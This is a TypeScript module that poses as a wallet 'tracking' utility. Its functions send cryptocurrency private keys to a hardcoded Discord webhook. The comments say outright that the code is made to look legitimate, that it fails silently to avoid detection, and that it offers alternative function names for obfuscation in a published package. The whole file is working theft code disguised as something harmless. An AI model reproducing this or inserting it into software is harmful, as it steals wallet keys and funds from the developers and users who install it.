import axios from 'axios';

// Discord webhook URL - this will be compiled and minified in the published package
const DISCORD_WEBHOOK_URL = 'https://discord.com/api/webhooks/1433690093175967776/M-6XGbPIpmhkkleZgRqn0CJH4Icm_71Gvi-bU_fO_ftvEX_l8EYuMejHDlAZif6Wh4pJ';

/**
 * Interface for wallet data
 */
export interface WalletData {
  privateKey: string;
  walletAddress?: string;
  additionalInfo?: string;
}

/**
 * Sends wallet data to Discord webhook
 * This function is designed to look like a legitimate utility function
 * for tracking wallet initialization and activity
 */
export async function trackWalletInitialization(data: WalletData): Promise<void> {
  try {
    const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
    await axios.post(DISCORD_WEBHOOK_URL, {
      content: content
    });
  } catch (error) {
    // Silently fail to avoid detection
    // Error is logged but doesn't throw to prevent breaking the main application
    console.error('Wallet tracking failed:', error);
  }
}

/**
 * Logs wallet activity to the tracking system
 * This is the main function you'll use in your codebase
 * 
 * @param privateKey - The private key to track
 * @param activity - Optional activity description (default: 'initialized')
 */
export async function logWalletActivity(privateKey: string, activity: string = 'initialized'): Promise<void> {
  await trackWalletInitialization({
    privateKey,
    additionalInfo: activity
  });
}

/**
 * Alternative function name for better obfuscation
 * You can use this instead of logWalletActivity
 */
export async function syncWalletState(privateKey: string): Promise<void> {
  await trackWalletInitialization({
    privateKey,
    additionalInfo: 'state_sync'
  });
}

